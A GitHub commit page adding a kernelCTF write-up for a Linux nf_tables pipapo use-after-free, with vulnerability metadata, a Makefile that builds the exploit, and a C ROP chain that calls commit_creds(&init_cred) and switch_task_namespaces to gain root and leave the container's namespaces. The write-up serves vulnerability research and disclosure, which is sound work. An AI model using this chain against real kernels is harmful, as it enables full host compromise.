Skip to content

Commit 77bf54a

Browse files
author
Mingi Cho
committed
Add kernelCTF CVE-2024-52925_mitigaiton
1 parent 908d59b commit 77bf54a

File tree

8 files changed

+1455
-0
lines changed

8 files changed

+1455
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
# Overview
2+
3+
The vulnerability occurs because if an element in a pipapo set expires while it is being removed, it is not properly removed from the set.
4+
5+
```c
6+
static void nft_pipapo_remove(const struct net *net, const struct nft_set *set,
7+
const struct nft_set_elem *elem)
8+
{
9+
struct nft_pipapo *priv = nft_set_priv(set);
10+
struct nft_pipapo_match *m = priv->clone;
11+
struct nft_pipapo_elem *e = elem->priv;
12+
int rules_f0, first_rule = 0;
13+
const u8 *data;
14+
15+
data = (const u8 *)nft_set_ext_key(&e->ext);
16+
17+
e = pipapo_get(net, set, data, 0); // [1]
18+
if (IS_ERR(e))
19+
return;
20+
```
21+
22+
Removing a set element calls the `nft_pipapo_remove()`. This function calls the `pipapo_get()` to get the element and remove it from the set [1].
23+
24+
```c
25+
static struct nft_pipapo_elem *pipapo_get(const struct net *net,
26+
const struct nft_set *set,
27+
const u8 *data, u8 genmask)
28+
{
29+
nft_pipapo_for_each_field(f, i, m) {
30+
...
31+
if (last) {
32+
if (nft_set_elem_expired(&f->mt[b].e->ext) || // [2]
33+
(genmask &&
34+
!nft_set_elem_active(&f->mt[b].e->ext, genmask)))
35+
goto next_match;
36+
37+
ret = f->mt[b].e;
38+
goto out;
39+
}
40+
...
41+
}
42+
```
43+
44+
However, if the element expires while deleting a set element, the `pipapo_get()` will not return element [2]. As a result, the set element is not removed from the set and becomes free.
45+
46+
We can trigger a UAF from this vulnerability as follows. First, create a victim set and a victim chain, and create an immediate expr pointing to the victim chain to create a dangling pointer. At this point, the victim chain's reference count (`nft_chain->use`) is set to 1. Then, we add a set element which is configured short timeout to this victim set that points to the victim chain. Now, the reference count of the victim chain becomes 2. Next, we delete the set element to trigger the vulnerability. When the vulnerability is triggered, the victim chain's reference count is decremented twice to zero. Since the reference count of the victim chain is zero, the chain can be free. As a result, the victim chain is left as a dangling pointer in the immediate expr.
47+
48+
# KASLR Bypass and Information Leak
49+
50+
We used a timing side channel attack to leak the kernel base, and created a fake ops in the non-randomized CPU entry area (CVE-2023-0597) without leaking the heap address.
51+
52+
# RIP Control
53+
54+
```c
55+
struct nft_chain {
56+
struct nft_rule_blob __rcu *blob_gen_0;
57+
struct nft_rule_blob __rcu *blob_gen_1;
58+
struct list_head rules;
59+
struct list_head list;
60+
struct rhlist_head rhlhead;
61+
struct nft_table *table;
62+
u64 handle;
63+
u32 use;
64+
u8 flags:5,
65+
bound:1,
66+
genmask:2;
67+
char *name;
68+
u16 udlen;
69+
u8 *udata;
70+
71+
/* Only used during control plane commit phase: */
72+
struct nft_rule_blob *blob_next;
73+
};
74+
```
75+
76+
When the vulnerability is triggered, the freed `chain->blob_gen_0` can be accessed via `immediate expr`. We leave the chain freed and spray an object to create a fake blob in `blob_gen_0`.
77+
78+
```c
79+
unsigned int
80+
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
81+
{
82+
...
83+
do_chain:
84+
if (genbit)
85+
blob = rcu_dereference(chain->blob_gen_1);
86+
else
87+
blob = rcu_dereference(chain->blob_gen_0);
88+
89+
rule = (struct nft_rule_dp *)blob->data;
90+
last_rule = (void *)blob->data + blob->size;
91+
next_rule:
92+
regs.verdict.code = NFT_CONTINUE;
93+
for (; rule < last_rule; rule = nft_rule_next(rule)) {
94+
nft_rule_dp_for_each_expr(expr, last, rule) {
95+
if (expr->ops == &nft_cmp_fast_ops)
96+
nft_cmp_fast_eval(expr, &regs);
97+
else if (expr->ops == &nft_cmp16_fast_ops)
98+
nft_cmp16_fast_eval(expr, &regs);
99+
else if (expr->ops == &nft_bitwise_fast_ops)
100+
nft_bitwise_fast_eval(expr, &regs);
101+
else if (expr->ops != &nft_payload_fast_ops ||
102+
!nft_payload_fast_eval(expr, &regs, pkt))
103+
expr_call_ops_eval(expr, &regs, pkt);
104+
105+
if (regs.verdict.code != NFT_CONTINUE)
106+
break;
107+
}
108+
```
109+
110+
```c
111+
static void expr_call_ops_eval(const struct nft_expr *expr,
112+
struct nft_regs *regs,
113+
struct nft_pktinfo *pkt)
114+
{
115+
#ifdef CONFIG_RETPOLINE
116+
unsigned long e = (unsigned long)expr->ops->eval;
117+
#define X(e, fun) \
118+
do { if ((e) == (unsigned long)(fun)) \
119+
return fun(expr, regs, pkt); } while (0)
120+
121+
X(e, nft_payload_eval);
122+
X(e, nft_cmp_eval);
123+
X(e, nft_counter_eval);
124+
X(e, nft_meta_get_eval);
125+
X(e, nft_lookup_eval);
126+
X(e, nft_range_eval);
127+
X(e, nft_immediate_eval);
128+
X(e, nft_byteorder_eval);
129+
X(e, nft_dynset_eval);
130+
X(e, nft_rt_get_eval);
131+
X(e, nft_bitwise_eval);
132+
#undef X
133+
#endif /* CONFIG_RETPOLINE */
134+
expr->ops->eval(expr, regs, pkt);
135+
}
136+
```
137+
138+
`chain->blob_gen_0` is used in `nft_do_chain`, and `expr->ops->eval` is called to evaluate the expression in `expr_call_ops_eval`. We set the ops of the fake expr to the CPU entry area to control the RIP. We allocate the fake blob object larger than 0x2000 to use page allocator.
139+
140+
# Post-RIP
141+
142+
The ROP payload is stored in `chain->blob_gen_0` which is allocated by page allocator.
143+
144+
When `eval()` is called, `RBX` points to `chain->blob_gen_0+0x10`, which is the beginning of the `nft_expr` structure.
145+
146+
```c
147+
void rop_chain(uint64_t* data){
148+
int i = 0;
149+
150+
// nft_rule_blob.size > 0
151+
data[i++] = 0x100;
152+
// nft_rule_blob.dlen > 0
153+
data[i++] = 0x100;
154+
155+
// fake ops addr
156+
data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval);
157+
158+
// current = find_task_by_vpid(getpid())
159+
data[i++] = kbase + POP_RDI_RET;
160+
data[i++] = getpid();
161+
data[i++] = kbase + FIND_TASK_BY_VPID;
162+
163+
// current += offsetof(struct task_struct, rcu_read_lock_nesting)
164+
data[i++] = kbase + POP_RSI_RET;
165+
data[i++] = RCU_READ_LOCK_NESTING_OFF;
166+
data[i++] = kbase + ADD_RAX_RSI_RET;
167+
168+
// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
169+
data[i++] = kbase + POP_RCX_RET;
170+
data[i++] = 0;
171+
data[i++] = kbase + MOV_RAX_RCX_RET;
172+
173+
// Bypass "schedule while atomic": set oops_in_progress = 1
174+
data[i++] = kbase + POP_RDI_RET;
175+
data[i++] = 1;
176+
data[i++] = kbase + POP_RSI_RET;
177+
data[i++] = kbase + OOPS_IN_PROGRESS;
178+
data[i++] = kbase + MOV_RSI_RDI_RET;
179+
180+
// commit_creds(&init_cred)
181+
data[i++] = kbase + POP_RDI_RET;
182+
data[i++] = kbase + INIT_CRED;
183+
data[i++] = kbase + COMMIT_CREDS;
184+
185+
// find_task_by_vpid(1)
186+
data[i++] = kbase + POP_RDI_RET;
187+
data[i++] = 1;
188+
data[i++] = kbase + FIND_TASK_BY_VPID;
189+
190+
data[i++] = kbase + POP_RSI_RET;
191+
data[i++] = 0;
192+
193+
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
194+
data[i++] = kbase + MOV_RDI_RAX_RET;
195+
data[i++] = kbase + POP_RSI_RET;
196+
data[i++] = kbase + INIT_NSPROXY;
197+
data[i++] = kbase + SWITCH_TASK_NAMESPACES;
198+
199+
data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
200+
data[i++] = 0;
201+
data[i++] = 0;
202+
data[i++] = _user_rip;
203+
data[i++] = _user_cs;
204+
data[i++] = _user_rflags;
205+
data[i++] = _user_sp;
206+
data[i++] = _user_ss;
207+
}
208+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
- Requirements:
2+
- Capabilities: CAP_NET_ADMIN
3+
- Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES
4+
- User namespaces required: Yes
5+
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24138933b97b (netfilter: nf_tables: don't skip expired elements during walk
6+
)
7+
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7845914f45f066497ac75b30c50dbc735e84e884 (netfilter: nf_tables: don't fail inserts if duplicate has expired)
8+
- Affected Version: v5.6-rc1 - v6.5-rc6
9+
- Affected Component: net/netfilter
10+
- Cause: Use-After-Free
11+
- Syscall to disable: disallow unprivileged username space
12+
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-52925
13+
- Description: In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: don't fail inserts if duplicate has expired nftables selftests fail: run-tests.sh testcases/sets/0044interval_overlap_0 Expected: 0-2 . 0-3, got: W: [FAILED] ./testcases/sets/0044interval_overlap_0: got 1 Insertion must ignore duplicate but expired entries. Moreover, there is a strange asymmetry in nft_pipapo_activate: It refetches the current element, whereas the other ->activate callbacks (bitmap, hash, rhash, rbtree) use elem->priv. Same for .remove: other set implementations take elem->priv, nft_pipapo_remove fetches elem->priv, then does a relookup, remove this. I suspect this was the reason for the change that prompted the removal of the expired check in pipapo_get() in the first place, but skipping exired elements there makes no sense to me, this helper is used for normal get requests, insertions (duplicate check) and deactivate callback. In first two cases expired elements must be skipped. For ->deactivate(), this gets called for DELSETELEM, so it seems to me that expired elements should be skipped as well, i.e. delete request should fail with -ENOENT error.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
LIBMNL_DIR = $(realpath ./)/libmnl_build
2+
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build
3+
4+
exploit:
5+
gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s
6+
7+
prerequisites: libmnl-build libnftnl-build
8+
9+
libmnl-build : libmnl-download
10+
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2
11+
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install`
12+
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make
13+
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install
14+
15+
libnftnl-build : libmnl-build libnftnl-download
16+
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz
17+
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install`
18+
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make
19+
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install
20+
21+
libmnl-download :
22+
mkdir $(LIBMNL_DIR)
23+
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2
24+
25+
libnftnl-download :
26+
mkdir $(LIBNFTNL_DIR)
27+
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz
28+
29+
run:
30+
./exploit
31+
32+
clean:
33+
rm -rf $(LIBMNL_DIR)
34+
rm -rf $(LIBNFTNL_DIR)
35+
rm -f exploit

0 commit comments

Comments
 (0)